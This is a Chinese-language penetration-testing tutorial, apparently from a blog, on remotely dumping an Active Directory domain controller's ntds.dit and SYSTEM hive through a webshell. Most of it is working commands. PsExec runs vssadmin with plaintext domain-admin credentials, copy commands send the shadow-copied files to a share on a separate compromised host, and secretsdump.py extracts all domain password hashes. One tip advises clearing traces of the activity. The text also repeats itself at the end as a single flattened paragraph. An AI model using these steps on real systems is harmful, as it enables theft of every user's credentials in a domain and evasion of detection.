通过Webshell远程导出域控ntds.dit的方法
字数 1197 2025-08-18 11:37:57

通过Webshell远程导出域控ntds.dit的方法

概述

本文详细介绍了在已获取域管理员凭据的情况下,通过Webshell远程导出Active Directory数据库文件(ntds.dit)和SYSTEM文件的方法。这种方法适用于渗透测试中无法直接获取反向shell的情况。

前提条件

  1. 已控制一台加入域的Windows机器(LABONE - 192.168.56.101)
  2. 拥有域管理员凭据(用户名:user1,密码:ica_1046)
  3. 目标域控机器(queen.DC1.indishell.lab - 192.168.56.200)
  4. 通过Webshell访问被控机器

所需工具

  1. PsExec.exe - Windows内部工具,用于远程执行命令
  2. vssadmin - Windows自带工具,用于创建/删除卷影副本

详细步骤

1. 上传PsExec工具

将PsExec.exe上传到被控机器(LABONE)上,例如上传到C:\xampp\htdocs\box\ps\目录。

2. 检查现有卷影副本

通过Webshell执行以下命令检查目标域控上现有的卷影副本:

PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"

命令说明:

  • \\192.168.56.200 - 目标域控IP
  • -u user1 - 域管理员用户名
  • -p ica_1046 - 域管理员密码
  • -h - 以提升的权限运行
  • 将命令输出重定向到本地文件

3. 创建卷影副本

在目标域控上创建C盘的卷影副本:

PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"

创建完成后,检查out.txt文件获取卷影副本名称,格式通常为:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\ (X为数字)

4. 定位关键文件路径

在卷影副本中,关键文件的位置为:

  • NTDS.dit: 卷影副本名称\Windows\NTDS\NTDS.dit
  • SYSTEM: 卷影副本名称\Windows\System32\config\SYSTEM

例如:

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM

5. 复制NTDS.dit文件

将NTDS.dit文件复制到被控机器:

PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit \\192.168.56.101\C$\xampp\htdocs\box\ps\"

6. 复制SYSTEM文件

将SYSTEM文件复制到被控机器:

PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM \\192.168.56.101\C$\xampp\htdocs\box\ps\"

7. 下载文件

通过Webshell下载已复制的ntds.dit和SYSTEM文件。

8. 提取哈希

使用secretsdump.py工具从获取的文件中提取哈希:

python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

注意事项

  1. 确保使用的域管理员凭据有效
  2. 操作过程中注意网络连接稳定性
  3. 此方法会产生明显的日志记录,在实际渗透测试中应考虑清理痕迹
  4. 复制大文件可能需要较长时间

总结

通过这种方法,渗透测试人员可以在仅拥有Webshell访问权限的情况下,利用域管理员凭据和Windows自带工具,远程导出Active Directory数据库文件,进而获取域内所有用户的哈希值。这种方法避免了需要直接获取反向shell的限制,适用于受限制的网络环境。

通过Webshell远程导出域控ntds.dit的方法 概述 本文详细介绍了在已获取域管理员凭据的情况下,通过Webshell远程导出Active Directory数据库文件(ntds.dit)和SYSTEM文件的方法。这种方法适用于渗透测试中无法直接获取反向shell的情况。 前提条件 已控制一台加入域的Windows机器(LABONE - 192.168.56.101) 拥有域管理员凭据(用户名:user1,密码:ica_ 1046) 目标域控机器(queen.DC1.indishell.lab - 192.168.56.200) 通过Webshell访问被控机器 所需工具 PsExec.exe - Windows内部工具,用于远程执行命令 vssadmin - Windows自带工具,用于创建/删除卷影副本 详细步骤 1. 上传PsExec工具 将PsExec.exe上传到被控机器(LABONE)上,例如上传到 C:\xampp\htdocs\box\ps\ 目录。 2. 检查现有卷影副本 通过Webshell执行以下命令检查目标域控上现有的卷影副本: 命令说明: \\192.168.56.200 - 目标域控IP -u user1 - 域管理员用户名 -p ica_1046 - 域管理员密码 -h - 以提升的权限运行 将命令输出重定向到本地文件 3. 创建卷影副本 在目标域控上创建C盘的卷影副本: 创建完成后,检查out.txt文件获取卷影副本名称,格式通常为: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\ (X为数字) 4. 定位关键文件路径 在卷影副本中,关键文件的位置为: NTDS.dit: 卷影副本名称\Windows\NTDS\NTDS.dit SYSTEM: 卷影副本名称\Windows\System32\config\SYSTEM 例如: 5. 复制NTDS.dit文件 将NTDS.dit文件复制到被控机器: 6. 复制SYSTEM文件 将SYSTEM文件复制到被控机器: 7. 下载文件 通过Webshell下载已复制的ntds.dit和SYSTEM文件。 8. 提取哈希 使用secretsdump.py工具从获取的文件中提取哈希: 注意事项 确保使用的域管理员凭据有效 操作过程中注意网络连接稳定性 此方法会产生明显的日志记录,在实际渗透测试中应考虑清理痕迹 复制大文件可能需要较长时间 总结 通过这种方法,渗透测试人员可以在仅拥有Webshell访问权限的情况下,利用域管理员凭据和Windows自带工具,远程导出Active Directory数据库文件,进而获取域内所有用户的哈希值。这种方法避免了需要直接获取反向shell的限制,适用于受限制的网络环境。